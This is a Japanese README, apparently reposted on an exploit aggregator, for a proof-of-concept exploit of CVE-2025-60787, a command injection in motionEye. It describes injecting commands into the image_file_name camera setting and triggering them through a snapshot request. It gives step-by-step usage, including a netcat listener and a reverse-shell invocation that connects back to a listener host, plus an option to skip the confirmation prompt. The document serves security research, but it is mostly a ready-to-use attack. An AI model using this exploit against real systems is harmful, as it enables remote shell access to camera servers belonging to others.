## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OZCANPNG-CVE-2025-60787
# CVE-2025-60787 — motionEye 認証済みRCE
CVE-2025-60787 の認証済みコマンドインジェクション PoC です。motionEye `v0.43.1b4` 以前は、`image_file_name` などのユーザー制御のカメラ設定値を十分なサニタイズなしに Motion 設定に書き込むため、値が処理されるとコマンド実行が可能になります。
> **承認されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。**
* * *
## 機能
root@kitploit:~
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
1. ターゲットを検証し、motionEye を検出します。
2. 設定されたユーザー名とパスワードハッシュを使用して、署名付き motionEye API リクエストを生成します。
3. `/config/list/` を通じてカメラ設定を読み取ります。
4. カメラの `image_file_name` 設定にコマンドを注入します。
5. 必要に応じて静止画/手動スナップショットを有効にします。
6. `/action/<camera_id>/snapshot/` をトリガーして、motionEye が注入されたファイル名を処理するようにします。
7. オプションで元のカメラ設定を復元します。
* * *
## スクリーンショット
### リバースシェルのセットアップ

### 設定の注入とトリガー

### シェル取得

* * *
## セットアップ
root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
* * *
## 使用方法
### 安全なコマンドの確認
root@kitploit:~
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
### リバースシェル
まずリスナーを起動します:
root@kitploit:~
rlwrap nc -lvnp 4444
次に実行:
root@kitploit:~
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
便利なオプション:
root@kitploit:~
--camera-id N Camera ID to modify (default: 1)
--restore Restore the original camera configuration after triggering
--dry-run Build signed requests without modifying the target
--debug Print canonical signed paths, bodies and signatures
--no-trigger Update config without triggering a snapshot
--verify-tls Verify HTTPS certificates
--yes Skip reverse-shell confirmation prompt
* * *
## 影響を受けるバージョン
製品| 影響を受けるバージョン| 必要なアクセス権| 影響
---|---|---|---
motionEye| `<= 0.43.1b4`| 認証済み管理者/APIアクセス| motionEye/MotionプロセスユーザーとしてのOSコマンド実行
結果の権限は、motionEye の展開方法によって異なります。サービスをrootとして実行しているコンテナやラボイメージでは、コマンド実行がrootになる可能性があります。
* * *
## 注意事項
* PoC は、保存されている motionEye パスワード値/ハッシュを必要とします。その値がレガシーAPIリクエストの署名キーとして使用されるためです。
* 注入されるフィールドは `image_file_name` です。
* テスト中は `--restore` を使用して、悪用後に元のカメラ設定を戻してください。
* リバースシェルを試みる前に、安全な検証のために `--cmd` を使用することを推奨します。
* * *
## 参考文献
* NVD — CVE-2025-60787
* GitHub Security Advisory — GHSA-j945-qm58-4gjx
* motionEye project
* * *
## 著者
ozcanpng — github.com/ozcanpng — ozcanpng.dev